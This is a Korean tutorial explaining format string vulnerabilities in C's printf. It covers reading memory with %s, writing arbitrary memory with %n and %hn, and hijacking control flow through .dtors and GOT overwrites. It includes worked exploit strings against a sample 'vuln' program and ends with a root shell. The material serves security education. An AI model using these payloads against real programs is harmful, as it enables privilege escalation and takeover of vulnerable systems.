Format String Bug
함수가 스택에서 인자를 가져오는 법
1
2
3
4
5
6
7
int main() {
char buff[128];
printf("input string : ");
fgets(buff, 112, stdin);
printf(buff);
}
코드에 아무런 문제가 없는 것 처럼 보이지만 만약 입력값을 %d, %s, %p
등으로 해준다면 이상한 값이 출력이 됨.
함수는 인자를 가져올 필요가 있을 때, EBP
로부터 상대적 거리로 인자 값을 가져오는데, 이는 바로 이전 프레임의 최상위 값부터 첫 번째 인자, 두 번째 인자… 하는 식으로 4byte
단위로 가져오게 되는 것.
printf("%d %d %d", A, B, C)
가 있을 때, printf()
함수가 호출되면 인자는 역순으로 스택에 삽입되어 맨 먼저 C가 삽입되고 그 다음 B, A순으로 삽입되고 그 다음 포맷 스트링의 주소가 삽입되게 됨.
포맷 인자가 없는 printf("%d");
의 경우 포맷 인자가 있으므로 함수 인자를 가져와야 하며 이 때 인자가 스택에 있는지의 여부와 관계없이 포맷 함수는 해당 인자가 있어야 할 곳을 계산해(현재 프레임 포인터에 더하는 방식으로) 그곳에서 값을 가져옴.
위의 코드로 보면 만약 입력을 AAAA %8x %8x %8x
라 해주면 printf(AAAA %8x %8x %8x)
가 되고 이 때, 출력값은 다음과 같음.
AAAA 70 40151e80 41414141
포맷 스트링 취약점
포맷 함수는 포맷 스트링의 주소가 아닌 일반 문자열의 주소를 인자로 받은 후 이 문자열을 하나씩 읽어 출력 작업을 수행함.
이 때, 문자열에 포맷 인자가 포함돼 있다면 포맷 함수는 포맷 인자를 인식하고 그 인자에 해당하는 함수 인자를 스택에서 읽으려 할 것임.
위에서 봤듯이 AAAA 70 40151e80 41414141
와 같은 결과가 출력이 되었는데 이 때 입력값이 AAAA
인 부분과 41414141
을 보았을 때, 3번째 포맷 인자부터는 포맷 스트링을 참조하는 것임.
즉, 포맷 함수는 현재 스택의 맨 끝 부분에 있는 메모리를 사용하고 있어 포맷 스트링은 현재 프레임 포인터보다 높은 메모리 주소에 위치하고 있을 것임.
이런 지식은 포맷 함수로의 인자를 제어하는데 쓰일 수 있으며 특히 %s나 %n처럼 주소를 참조하는 포맷 인자일 경우에 유용함.
임의의 메모리 주소에서 읽기
%s 포맷 인자는 임의의 메모리 주소에 있는 값을 읽는데 쓰일 수 있음.
포맷 함수 내에서 원본 포맷 스트링에 있는 데이터를 참조하는 것이 가능하므로(위에서 보았듯이) 포맷 스트링의 일부를 %s 포맷 인자에 해당하는 주소로 사용할 수 있음.
AAAA 70 40151e80 41414141
를 보면 3번째 포맷 인자가 포맷 스트링의 맨 앞부분에서 데이터를 읽는다는 사실을 나타내는데, 만약 3번째 포맷 인자가 %x가 아니라 %s였다면 포맷 함수는 주소 0x41414141
에 있는 문자열을 출력하려고 시도할 것임.
물론 0x41414141
은 정상적인 주소가 아니므로 오류가 나겠지만, 만약 유효한 주소값을 넣는다면 그 주소에 있는 문자열의 내용을 읽을 수 있음.
예를 들어, 환경 변수를 설정한 뒤 AAAA
대신에 환경 변수의 주소를 넣어주고 3번째 포맷 인자를 %s로 한다면 그 환경 변수의 값을 가져오게 됨.
포맷 인자 %s로 메모리를 읽을 수 있다면 포맷 인자 %n으로 메모리에 쓸 수 있음.
Format String : %n
1
2
3
4
5
6
7
main()
{
int n = 10;
printf("before change : %d\n", n); // 10
printf("haha~\n%n", &n); // n=haha~\n의 길이인 6이 됨
printf("after change : %d\n", n); // 6
%n 형식 인자는 %n 앞에 입력된 문자들의 개수(문자열 길이)를 받음.
이 형식 인자는 뒤에 받는 인자 값으로 주소 값을 받는데, 다른 형식 문자열들이 화면에 결과를 출력해 주는 것과는 달리 뒤에 인자 값으로 온 주소 값에 결과 값을 넣어준다.
특정 주소에 직접 값을 넣어 줄 수 있는 이 형식 인자 덕분에 Format String attack이 가능하게 된 것.
만약 뒤에 오는 주소 값이 RET라면 RET값을 마음대로 변경할 수 있는 것.
인자에 직접 접근하는 법
ex)
%N$%d
-> N번째 인자를 10진수로 출력.ex)
printf("%2$s", "HELLO", "WORLD"); -> 2번째 인자를 문자열로 출력 -> WORLD
임의의 메모리 주소에 쓰기
%s 포맷 인자로 메모리를 읽을 수 있다면 %n 포맷 인자로 메모리에 쓸 수 있음.
예를 들어, 어느 변수의 주소와 값을 출력하는 코드가 있다고 할 때, 이 변수의 주소를 0x08049794
라고 하자.
또한 4번째 포맷 인자에서부터 포맷 스트링을 읽어오는 것을 안다고 하자.
입력을 python -c 'print "\x94\x97\x04\x08" + "%x%x%8x%n"'
이라고 하면 0x08049794
에 %n이 나오기 전까지의 포맷 스트링의 길이 값이 들어갈 것임.
%08x 처럼 포맷 인자의 필드 길이 옵션을 조작하면 그 수에 해당하는 값만큼의 공백 문자가 출력되므로 값을 조정할 수 있으나 이런 방법은 작은 수를 저장할 때는 잘 동작하지만 메모리 주소와 같이 매우 큰 수를 저장할 때는 사용하기 어려움.
예를 들얼 0xbfffffff
와 같은 메모리 주소를 덮어씌울려고 할 때 등 ..
여기서 값을 계속해서 조정해보면 변수의 값을 16진수로 표현한 부분을 보면 이 변수의 가장 하위 바이트 값을 조정하는 것은 매우 쉽다는 점을 알 수 있음.
4바이트 워드에서 가장 하위 바이트는 맨 첫 번째 바이트라는 점 (0xdeadbeef
라면 \xef\xbe\xad\xde
) 을 이용해 하위 바이트 값을 변경해가면서 4바이트 워드 전체에 값을 쓸 수 있음.
예를 들어, 변수 val의 주소가 0x08049794
일 때, val에 0xDDCCBBAA
를 쓰고 싶다면 아래와 같이 하면 됨.
0x08049794
에는 0xAA
값을 넣고, 0x08049795
에는 0xBB
, 0x08049796
에는 0xCC
, 0x08049797
에는 0xDD
를 넣어서 최종적으로 변수 val
에는 0xDDCCBBAA
값이 들어가게 되는 것임.
0xAA
를 넣고자 할 때, 0xaa
는 170이므로 입력을 \x94\x97\x04\x08 + %x%x%150x%n
처럼 하면 %n 전까지 포맷 스트링의 길이가 170이 되므로 0x08049794
에 0xAA
가 들어가게 됨.
우리는 총 4개의 주소에 값을 넣어줘야 함. 그러면 첫 번째 주소에 값을 넣어주고 두 번째 주소에 0xBB 값을 넣어주기 위해선 그 사이에 바이트 수를 올려주기 위한 %x 포맷 인자를 위한 또 다른 인자 값이 필요함.
인자 값은 4바이트의 어떤 값이든 상관 없으며 이 값 다음에 대상 메모리 주소 + 1
이 와야 함.
그래서 사이에 JUNK 값을 넣어줘서 포맷 스트링의 전체 모습을 정리하면 아래와 같음.
따라서 포맷 스트링을 작성해보면 아래와 같이 됨. (프로그램 이름은 vuln이라고 가정.)
1
2
3
4
5
6
./vuln
$(printf "\x94\x97\x04\x08JUNK\x95\x97\x04\x08JUNK\x96\x97\x04\x08JUNK\x97\x97\x04\x08")
%x%x%8x%n
test_val = 0x08049794 = 52 0x00000034
테스트를 한 결과 8번의 공백을 넣어주면 총 길이가 52가 되므로 0xaa를 만들기 위해선 0xaa - 52 + 8 = 126
이므로 %8x
를 %126x
로 바꾸면 됨.
더 간단하게 계산하면 처음에 0x08049794
에 0xaa
를 넣어줄 때, 150을 사용하였으므로 현재 4바이트 값이 6개(주소 값 3개, JUNK 3개)가 늘어났으므로 150 - 24 = 126
임.
1
2
3
4
5
6
./vuln
$(printf "\x94\x97\x04\x08JUNK\x95\x97\x04\x08JUNK\x96\x97\x04\x08JUNK\x97\x97\x04\x08")
%x%x%126x%n
test_val = 0x08049794 = 170 0x000000aa
그 다음 0xBB
를 넣어줘야 함. 0xBB - 0xAA = 17
이므로 아래와 같이 입력하면 됨.
1
2
3
4
5
6
./vuln
$(printf "\x94\x97\x04\x08JUNK\x95\x97\x04\x08JUNK\x96\x97\x04\x08JUNK\x97\x97\x04\x08")
%x%x%126x%n%17x%n
test_val = 0x08049794 = 48042 0x0000bbaa
세 번째와 네 번째도 동일하게 반복하면 됨.
여기서 알아둬야 할 점은 이 방법을 이용해 데이터를 덮어쓰는 메모리의 다음 3바이트도 덮어써진다는 점임.
만약 정적 변수 next_val 변수가 선언돼있다면 next_val의 값도 점점 변하게 될 것임.
그런데 덮어쓰고자 하는 주소가 0xDDCCBBAA
가 아니라 0x0806abcd
라면 어떻게 해야 하는가?
첫 번째 바이트인 0xCD는 161의 필드 너비로 205바이트를 출력해야 함.
1
2
3
4
5
6
7
./vuln
$(printf "\xf4\x97\x04\x08JUNK\xf5\x97\x04\x08JUNK\xf6\x97\x04\x08JUNK\xf7\x97\x04\x08")
%x%x%161x%n
test_val = 0x080497f4 = 109517 0x000000cd
next_val = 0x080497f8 = 286331153 0x11111111
두 번째 바이트인 0xAB를 쓰려면 171바이트를 출력해야하는데 이미 205바이트를 출력했으므로 줄이는 것은 불가능한 상황.
해결책은 바로 205에서 34를 빼는 대신 (0xab - 0xcd = -34
) 222를 더해 427를 만드는 것임. (0x1ab - 0xcd = 222
)
1
2
3
4
5
6
7
./vuln
$(printf "\xf4\x97\x04\x08JUNK\xf5\x97\x04\x08JUNK\xf6\x97\x04\x08JUNK\xf7\x97\x04\x08")
%x%x%161x%n%222x%n
test_val = 0x080497f4 = 109517 0x0001abcd
next_val = 0x080497f8 = 286331136 0x11111100
이 기법을 이용하여 세 번째(0x06), 네 번째(0x08) 바이트도 쉽게 쓸 수 있음.
1
2
3
4
5
6
7
8
9
10
0x06 - 0xab = -165
0x106 - 0xab = 91
./vuln
$(printf "\xf4\x97\x04\x08JUNK\xf5\x97\x04\x08JUNK\xf6\x97\x04\x08JUNK\xf7\x97\x04\x08")
%x%x%161x%n%222x%n%91x%n
test_val = 0x080497f4 = 33991629 0x0206abcd
next_val = 0x080497f8 = 286326784 0x11110000
1
2
3
4
5
6
7
8
9
0x08 - 0x06 = 2
./vuln
$(printf "\xf4\x97\x04\x08JUNK\xf5\x97\x04\x08JUNK\xf6\x97\x04\x08JUNK\xf7\x97\x04\x08")
%x%x%161x%n%222x%n%91x%n%2x%n
test_val = 0x080497f4 = 235318221 0x0e06abcd
next_val = 0x080497f8 = 285212674 0x11000002
근데 위를 보면 네 번째 바이트를 덮어쓸 때 사소한 문제가 있음.
2바이트 차이가 나므로 %2x
를 했는데 2바이트가 아닌 8바이트가 출력되어 0x0e
가 저장되었음.
이렇게 된 이유는 %x
포맷 인자의 필드 길이 옵션은 최소값을 의미해 최소 8바이트는 무조건 출력되기 때문임
이 문제는 앞에서와 같이 큰 숫자를 입력해 256(2^8 = 256)보다 큰 수를 만들어 해결할 수 있음.
이런 필드 길이 옵션의 한계를 알고 있어야 함.
1
2
3
4
5
6
7
8
9
0x108 - 0x06 = 258
./vuln
$(printf "\xf4\x97\x04\x08JUNK\xf5\x97\x04\x08JUNK\xf6\x97\x04\x08JUNK\xf7\x97\x04\x08")
%x%x%161x%n%222x%n%91x%n%258x%n
test_val = 0x080497f4 = 134654925 0x0806abcd
next_val = 0x080497f8 = 285212675 0x11000003
%n
부분에서 배웠던 인자에 직접 접근하는 방법을 통해 굳이 메모리를 건너뛰는 노력을 할 필요 없이 값을 덮어쓸 수 있음.
예를 들어, 0x080497f4
에 0xbffffd72
를 저장한다고 하자.
1
2
3
4
5
6
./vuln
`python -c 'print "\xf4\x97\x04\x08" + "\xf5\x97\x04\x08" + "\xf6\x97\x04\x08" + "\xf7\x97\x04\x08"
+ "%98x%4$n%139x%5$n%258x%6$n%192x%7$n"'`
test_val = 0x080497f4 = -1073742478 0xbffffd72
short 쓰기 기법
short는 2바이트 워드임. 위에서 한 것은 4바이트 워드(DWORD)
포맷 인자는 short를 다루는 특별한 방법을 가지는데 우선 길이 변경자에 대해 알아보면 아래와 같음.
1
2
3
4
5
길이 변경자
여기의 정수 변환은 d, i, o, u, x, X 인자에 대한 변환을 나타낸다.
h 다음의 정수 변환은 short int나 unsigned short int 인자를 뜻한다.
혹은 다음의 n 변환은 short int 인자를 가리키는 포인터를 뜻한다.
1
2
3
4
5
6
7
8
9
길이 수정자는 hh, h, l, ll,j, z, t, L이 있습니다.
hh 는 diouxX가 뒤에 오면 인자를 char 혹은 unsigned char로 변환하여 출력합니다.
h 는 diouxX가 뒤에 오면 인자를 short 혹은 unsigned short로 변환하여 출력합니다.
l 은 뒤에 diouxX가 뒤에 오면 인자를 long 혹은 unsigned long으로 변환하여 출력합니다.
ll 은 뒤에 diouxX가 뒤에 오면 long long 혹은 unsigned long long으로 변환하여 출력합니다.
printf
에 대한 자세한 내용은 아래 링크에서 확인.
Link : ehpub.co.kr/printf-함수/
Link : dojang.io/mod/page/view.php?id=736
따라서 우리는 %n
을 short로 쓰고자 하려면 %hn
포맷 인자를 이용해야 함.
short 쓰기를 이용해 4바이트 값을 2개의 %hn
인자로 덮어쓸 수 있음.
예를 들어, test_val 변수(0x08049794
)를 주소 값 0xbffffd72
로 덮어쓰면 아래와 같음.
4바이트 값을 2바이트씩 2번에 나눠서 쓰는 것이므로 0x08049794
와 0x08049796
에 값을 넣어야 하며 0x08049794
에는 0xfd72
를 넣고, 0x08049796
에는 0xbfff
를 넣어야 함.
1
2
3
4
5
6
7
8
9
10
11
0xfd72 - 8 = 64874 => 주소 값은 총 8바이트 이므로 먼저 넣을 0xfd72에서 8을 뺀 값이 %x의 필드 길이값이 됨.
0xbfff - 0xfd72 = -15731
0x1bfff - 0xfd72 = 49805 => 0xbfff가 0xfd72보다 작으므로 더 큰 수로 해결한 것
./vuln
$(printf "\x94\x97\x04\x04\x96\x97\x04\x08")
%64874x%4\$hn%49805x%5\$hn
test_val @ 0x08049794 = -1073742478 0xbffffd72
short 쓰기 기법을 사용할 때는 메모리에 쓰는 순서는 중요하지 않음. 0x08049796
에 먼저 써도 됨.
1
2
3
4
5
6
7
8
9
10
0xbfff - 8 = 49143
0xfd72 - 0xbfff = 15731
./vuln
$(printf "\x96\x97\x04\x04\x94\x97\x04\x08")
%49143x%4\$hn%15731x%5\$hn
test_val @ 0x08049794 = -1073742478 0xbffffd72
임의의 메모리 주소에 데이터를 쓸 수 있다는 것은 프로그램의 실행 흐름을 제어할 수 있음을 의미함. 대표적으로 스택 오버플로우의 리턴 주소를 덮어쓰는 방법이 있음.
스택 오버플로우 공격은 특성상 리턴 주소밖에 덮어쓸 수 없지만 포맷 스트링 공격은 임의의 메모리 주소에 데이터를 쓸 수 있으므로 다양한 공격을 할 수 있음.
소멸자를 이용한 우회법
GNU C 컴파일러를 이용해 컴파일된 이진 프로그램에서는 소멸자destructor와 생성자constructor를 위한 특수 테이블 섹션인 .dtors
와 .ctors
를 생성함.
프로그램 종료 시 자동으로 함수가 실행되는 기능은 이진 파일의 .dtors
테이블 섹션에서 담당을 하는데, 이 섹션은 32비트 주소의 배열로 구성돼있고 맨 마지막에는 NULL 주소가 들어있음.
이 배열은 항상 0xffffffff
로 시작하고, 널 주소인0x00000000
로 끝나며 이 두 주소 사이에는 소멸자 속성으로 선언된 모든 함수의 주소가 포함됨.
nm 명령어로 소멸자 속성이 부여된 함수와 .dtors
영역의 주소를 찾을 수 있고, objdump 명령어도 이진 파일의 섹션을 검사할 수 있음.
1
2
3
4
5
6
nm ./dtors_sample
080495b4 d __DTOR_END__
080495ac d __DTOR_LIST__
0x080483e8 t cleanup => 소멸자 속성이 부여된 함수
.dtors
섹션이 0x080495ac
에 있는 __DTOR_LIST__
에서 시작해서 0x080495b4
에 있는 __DTOR_END__
에서 끝난다는 사실을 알 수 있음.
0x080495ac
에는 0xffffffff
가 들어 있고, 0x080495b4
에는 0x00000000
이 들어 있으며, 그 둘 사이에 있는 주소 0x080495b0
에는 cleanup 함수의 주소(0x080483e8
)가 들어 있음.
objdump 명령은 .dtors
섹션의 실제 콘텐츠를 보여줌.
1
2
3
4
objdump -s -j .dtors ./dtors_sample
Contents of section .dtors:
80495ac ffffffff e8830408 00000000
80495ac
:.dtors
섹션이 위치한 주소e8830408
: 소멸자 속성이 부여된 함수의 주소
중요한 점은 .dtors
섹션은 쓰기가 가능하다는 것이며 소멸자 속성을 갖는 함수가 있는지의 여부와 관계없이 GNU C 컴파일러로 컴파일된 모든 이진 파일에 이 섹션이 포함돼 있다는 점임.
따라서 0xffffffff
다음에 있는 주소를 덮어쓴다면 프로그램이 종료될 때 그 주소에 있는 함수가 호출될 것이며, 덮어써야 할 주소는 __DTOR_LIST__ + 4
가 됨.
예를 들어, vuln 프로그램이 실행 중일 때, dtor의 주소는 0x08049690
이고 쉘코드가 들어있는 환경 변수의 주소가 0xbffff9ec
라 하자.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
nm ./vuln | grep DTOR
08049694 d __DTOR_END__
08049690 d __DTOR_LIST__
0xbfff - 8 = 49143
0xf9ec - 0xbfff = 14829
./vuln $(printf "\x96\x96\x04\x08\x94\x96\x04\x08")%49143x%4\$hn%14829x%5\$hn
test_val @ 0x08049794 = -72 0xffffffb8
sh-3.2# whoami
root
sh-3.2#
__DTOR_LIST__ + 4
한 주소에 쉘코드 환경 변수 값 주소를 넣음으로써 프로그램이 종료될 때 쉘코드가 실행되어 공격자는 루트 쉘을 얻을 수 있음.
전역 오프셋 테이블(GOT) 덮어쓰기
프로그램은 공유 라이브러리에 있는 함수를 사용할 일이 많음. 그래서 프로그램 내부에 모든 함수의 참조 테이블을 갖고 있는 것이 효율적임.
컴파일된 프로그램에 포함돼 있는 프로시저 연결 테이블 (Procedeure Linkage Table, PLT) 이라는 특수 섹션을 이런 목적에 씀.
이 섹션은 여러 jmp 명령으로 구성돼 있으며 각 명령은 함수의 주소와 대응함.
프로그램에서 공유 함수를 호출할 일이 있으면 프로그램의 제어가 PLT로 넘어감.
PLT 섹션을 보면 아래와 같이 되어 있음.
만약 여기에 exit함수가 있었다면 exit 함수를 호출하는데 쓰이는 jump 명령을 조작해 exit() 함수 대신 쉘코드를 실행하게 한다면 루트 쉘이 실행될 것임.
단, plt 섹션은 read-only 영역임.
그런데 위에 사진을 보면 어떤 주소로 jump 하는 것이 아니라 주소의 포인터로 jump 하는 것을 알 수 있음.
예를 들어, printf()
함수의 실제 주소는 메모리 주소 0x200bd2
을 가리키는 포인터로 저장돼 있음.
이 주소들은 전역 오프셋 테이블(Global Offset Table, GOT)라는 또 다른 섹션에 저장돼 있음.
이 주소는 objdump
를 이용해 이진 파일의 동적 재배치 항목을 출력해 알아낼 수 있음.
printf()
함수의 주소가 GOT의 0x0000000000601018
에 저장돼 있음을 알 수 있음.
만약 이게 exit()
함수라고 할 때, 이 주소에 쉘코드의 주소를 덮어쓴다면 프로그램이 exit()
함수를 호출할 때 실제로는 쉘코드가 호출될 것임.
정리하면 과정은 아래와 같음.
프로그램은 exit() 함수를 호출
GOT에서 exit() 함수의 주소를 찾은 후 PLT를 통해 그 주소로 jump
exit() 함수의 주소를 환경 변수에 있는 쉘코드 주소로 바꿨다면 쉘코드가 실행되어 쉘을 따낼 수 있음
GOT의 장점은 이진 파일마다 GOT 항목이 고정돼 있다는 점임. 그래서 서로 다른 시스템이라 할지라도 같은 이진 파일을 사용하면 같은 주소에서 같은 GOT 항목을 찾을 수 있음.